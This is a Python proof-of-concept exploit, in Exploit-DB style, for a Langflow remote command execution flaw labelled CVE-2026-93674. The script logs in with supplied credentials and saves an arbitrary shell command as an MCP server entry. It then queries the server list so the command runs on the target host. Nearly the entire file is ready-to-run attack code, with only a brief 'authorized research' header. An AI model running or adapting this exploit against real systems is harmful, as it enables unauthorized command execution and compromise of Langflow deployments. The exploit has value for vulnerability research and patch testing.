# Archived for authorized security research only.
# Source: https://github.com/rmhowe425/POC-CVE-2026-93674 (see README for attribution/license)

# Exploit Title:  Langflow security bypass
# Exploit Author: Richard Howe <rhowe425>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: 1.5.0 - 1.9.0
# Tested on: Ubuntu 22.04
# CVE : CVE-2026-93674

import secrets
import argparse
from requests import get, post

def execute_command(base_url: str, auth:dict):
    endpoint = '/api/v2/mcp/servers?action_count=true'

    try:
        resp = get(base_url + endpoint, headers=auth)
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{e}")

    if resp.status_code != 200:
        raise RuntimeError(
            f"API returned with status code: {resp.status_code}"
        )

    return resp


def save_command(base_url: str, auth: dict, server_name: str, command: str, args: str):
    endpoint = f"/api/v2/mcp/servers/{server_name}"
    data = {"command": f"{command}", "args": [f"{args}"]}

    print("[+] Triggering the vulnerability.")

    try:
        resp = post(base_url + endpoint, headers=auth, json=data)
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{e}")

    if resp.status_code != 200:
        raise RuntimeError(
            f"API returned with status code: {resp.status_code}"
        )

    return resp

def authenticate(base_url: str, username: str, password: str) -> dict:
    print(f"[+] Authenticating as {username}")

    try:
        r = post(f"{base_url}/api/v1/login",
                 data={"username": username, "password": password}
                 )
        r_json = r.json()
    except Exception as e:
        raise RuntimeError(f"Unable to authenticate with Langflow: {str(e)}")

    if r.status_code != 200 or not r_json.get('access_token'):
        print(f"[!] Login failed: HTTP {r.status_code} - {r.text}")
        sys.exit(1)
    return {"Authorization": f"Bearer {r_json['access_token']}"}


def main():
    parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-93674")
    parser.add_argument("-u", "--url", required=True, help="Target url. e.g. http://127.0.0.1:7860")
    parser.add_argument('-uname', '--username', required=True, help="Langflow username")
    parser.add_argument('-pword', '--password', required=True, help="Langflow password")
    parser.add_argument("-c", "--cmd", required=True, help="Shell command")
    parser.add_argument("-a", "--args", required=True, help="Shell command args")
    args = parser.parse_args()

    # Generate random server name
    hostname = ''.join(
    secrets.choice(
        "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    )
    for _ in range(8)
    )

    # Authenticate with Langflow instance.
    auth = authenticate(base_url=args.url, username=args.username, password=args.password)

    if auth is None:
        print("[!] Could not authenticate with Langflow.")
        exit(1)

    # Save command
    cmd = save_command(base_url=args.url, auth=auth, server_name=hostname, command=args.cmd, args=args.args)

    if cmd.status_code != 200:
        print("[!] Error saving command")
        exit(1)

    # Execute command
    resp = execute_command(base_url=args.url, auth=auth)
    print(f"RESULTS: HTTP Status Code: {resp.status_code}\nResponse Body: {resp.json()}")
    

main()

